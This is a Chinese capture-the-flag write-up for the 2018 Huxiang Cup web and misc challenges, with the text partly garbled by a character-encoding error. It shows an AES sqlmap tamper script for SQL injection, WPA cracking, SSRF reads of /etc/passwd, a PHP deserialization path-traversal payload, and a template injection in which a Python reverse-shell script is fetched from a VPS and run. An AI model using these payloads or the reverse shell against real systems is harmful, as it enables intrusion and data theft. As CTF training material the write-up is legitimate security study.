2018湖湘杯web、misc记录
? ? ? ? ??
1.題目名 Code Check
?
?
? ? 打開(kāi)題目,右鍵發(fā)現(xiàn)有id參數(shù)的url,簡(jiǎn)單base64解碼以后發(fā)現(xiàn)不是明文,說(shuō)明利用了其他的加密方式,那么應(yīng)該會(huì)有具體的加密方式給我們,于是試試常見(jiàn)的文件泄露,可以發(fā)現(xiàn)list.zip,打開(kāi)發(fā)現(xiàn)是具體的解密邏輯與查詢邏輯。
? ??
?
??? 有了解密邏輯我們就可以逆著寫(xiě)出加密邏輯,另外id參數(shù)明顯存在注入,只需要寫(xiě)一個(gè)加密的sqlmap的tamper腳本,然后放到sqlmap的tamper目錄下就可以了,之后在sqlmap里跑一跑就可以出flag
?
? ? ? ? ? 下面是改過(guò)的tamper腳本
#!/usr/bin/env python"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import base64from Crypto.Cipher import AESfrom lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWESTdef dependencies():passdef encrypt(text):padding = '\0'key = 'ydhaqPQnexoaDuW3'iv = '2018201920202021'pad_it = lambda s: s+(16 - len(s)%16)*paddingcipher = AES.new(key, AES.MODE_CBC, iv)text = text + 'hxb2018'return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))def tamper(payload, **kwargs):return encrypt(payload)?
?
?
2.題目名 Flow
? ? ? ? ?題目是個(gè)流量包,802.11的,數(shù)據(jù)包是加密的,所以嘗試一下能不能爆破出來(lái)key來(lái)解密一下上層的其他數(shù)據(jù)包來(lái)找flag,一般做無(wú)線的題目需要用到aircrack-ng這個(gè)無(wú)線破解工具。
?? 首先需要一個(gè)弱密碼的字典,然后運(yùn)行 aircrack-ng -w 字典名 + 流量包,運(yùn)氣比較好剛好爆破出來(lái)了key為password1
?
?
?? ?有了key就能導(dǎo)入到wireshark里面對(duì)wpa加密的無(wú)線數(shù)據(jù)包進(jìn)行解密
?
?
? ? ? ? ? ? ? ? ?解密之后在導(dǎo)出http對(duì)象中發(fā)現(xiàn)flag
?
?
? ??
?
?
3.題目名 readflag
??? ssrf的題目,首先讀了下/etc/passwd沒(méi)有什么有用的東西,所以繼續(xù)讀一下/etc/hosts發(fā)現(xiàn)內(nèi)網(wǎng)里面有兩臺(tái)主機(jī)
?
?
?
?
?
???? 經(jīng)過(guò)簡(jiǎn)單測(cè)試,發(fā)現(xiàn)題目的內(nèi)網(wǎng)主機(jī)號(hào)為230,另一臺(tái)內(nèi)網(wǎng)機(jī)器的主機(jī)號(hào)是183,所以嘗試讀一下另一個(gè)機(jī)器上的文件,首先讀一下apache的配置文件,發(fā)現(xiàn)如下路徑樹(shù)
?
?
???? 又因?yàn)閔ttp的網(wǎng)站在站點(diǎn)的配置文件下有默認(rèn)的000-default.conf,所以嘗試訪問(wèn)如下:
?
?
? ? ? ? ? ?發(fā)現(xiàn)了web的源碼路徑,直接讀取
?
?
??? 發(fā)現(xiàn)路徑/var/www/html/ssrf/readflag,嘗試訪問(wèn)是個(gè)elf,一堆亂碼,所以用wget下載這個(gè)elf,然后ida里面加載一下發(fā)現(xiàn)如下:
?
?
??? 所以更改一下路徑,讀取如下,得到flag
?
?
4.題目名 mynote
??????? 這是一道反序列化的題目,在我們注冊(cè)登陸以后,在抓包中發(fā)現(xiàn)picture參數(shù)有問(wèn)題,base64解碼發(fā)現(xiàn)其為序列化的數(shù)據(jù),所以猜測(cè)是否其存在反序列化漏洞,我們上傳一個(gè)jpg文件
?
?
?? 又因?yàn)楹蠖藭?huì)訪問(wèn)我們上傳的圖片并會(huì)返回到前端,所以嘗試是否可以讀取任意文件,上傳1.jpg以后,抓包并且改為payload為a:1:{i:0;s:14:”../../flag.php”;},然后放包如下圖所示,可以看到一串base64編碼
?
?
?
解密后就能看到flag如上圖所示
?
5. 管理員的flag在哪里?
?????? 注冊(cè)登陸后,在添加標(biāo)題那里剛開(kāi)始選擇“是”這個(gè)選項(xiàng),以為是xss,但是沒(méi)效果,于是選擇“否”,添加標(biāo)題后發(fā)現(xiàn)有show頁(yè)面,嘗試了一下模板注入的payload
?
?
?
?
?
?
?????? 返回了9說(shuō)明的確存在模板注入,于是嘗試是否可以執(zhí)行命令
構(gòu)造payload如下:
?
?
???? 返回的值證明可以執(zhí)行命令,又繼續(xù)嘗試了一下curl和wget 都能使用,所以嘗試反彈一下shell試試,在vps上監(jiān)聽(tīng)一下端口,使用exp下載vps上的shell.py文件并執(zhí)行,構(gòu)造以下payload:
?
?
?
shell如下:
#!/usr/bin/env python#coding:utf-8import osimport ptyimport socketlhost = "xx.xx.xx.xx" #vps的ip地址 lport = 21192 #vps的端口def main():s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((lhost,lport))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)pty.spawn('/bin/bash')s.close()main()?
?
? ? ? ? ? ? ? ? 分別show以上的兩條payload以后就能夠拿到shell,在Xme0目錄下存在auto.js 查看它如下圖所示得到flag
?
6.disk
?下載一個(gè)是一個(gè)vmdk文件,首先看看能不能提取出來(lái)啥東西,這里需要用到7z
?
?
?
??? 提取出來(lái)里面有四個(gè)flag文件,但是打開(kāi)并不是flag,隊(duì)友說(shuō)可能跟NTFS隱藏?cái)?shù)據(jù)流有關(guān)系,所以百度一波,在網(wǎng)上找到如下工具
?
?
?
能夠檢測(cè)出隱藏在文件中的NTFS數(shù)據(jù)流,搜索一下果然找到了可疑的數(shù)據(jù)流
?
?
??? 百度到ads原來(lái)是可以隱藏后門(mén)的,于是分別打開(kāi)四個(gè)flag文件
?
?
?
??????? 打開(kāi)flag1.txt后是一段二進(jìn)制,在線將其轉(zhuǎn)化為字符串試試
?
?
? ? ? ? ? ?發(fā)現(xiàn)是flag,所以繼續(xù)轉(zhuǎn)換后面的三個(gè)文件中的二進(jìn)制文件并轉(zhuǎn)換就可以得到flag
?
?
7.Hidden Write
?? 首先拿到圖片先binwalk一下,發(fā)現(xiàn)什么都沒(méi)有
?
?
??? 然后strings一下圖片
?
?
??? 結(jié)尾發(fā)現(xiàn)flag的一部分字符串78cd89c18c
??? 肯定在別的地方還有flag的其他部分,所以用16進(jìn)制編輯器看看圖片,發(fā)現(xiàn)其有三個(gè)圖片其中兩張圖片沒(méi)有頭部的前8個(gè)字節(jié),所以把兩張圖片摳出來(lái)加上頭部,就變成3張圖片了
?
?
????? 此時(shí)掏出stegsolve來(lái)給三張圖片用一用,在第二張圖中發(fā)現(xiàn)了bgr通道的lsb隱寫(xiě)
?
?
???? hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一個(gè)部分,此時(shí)明顯還少最后一個(gè)部分,此時(shí)有三張圖片當(dāng)然想到用盲水印,以前在比賽中遇到過(guò),所以用下圖所示的工具試試:
?
?
?
?
?????? 由于有3張圖片所以需要兩兩結(jié)合來(lái)花費(fèi)3次來(lái)嘗試
?
?
?
?
??? 由此得到flag的最后一段為20b4a}
??? 最后拼接得到flag:
hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}
?
轉(zhuǎn)載于:https://www.cnblogs.com/wfzWebSecuity/p/9986587.html
與50位技術(shù)專家面對(duì)面20年技術(shù)見(jiàn)證,附贈(zèng)技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的2018湖湘杯web、misc记录的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: TensorFlow学习入门
- 下一篇: 素数筛选-hdu2710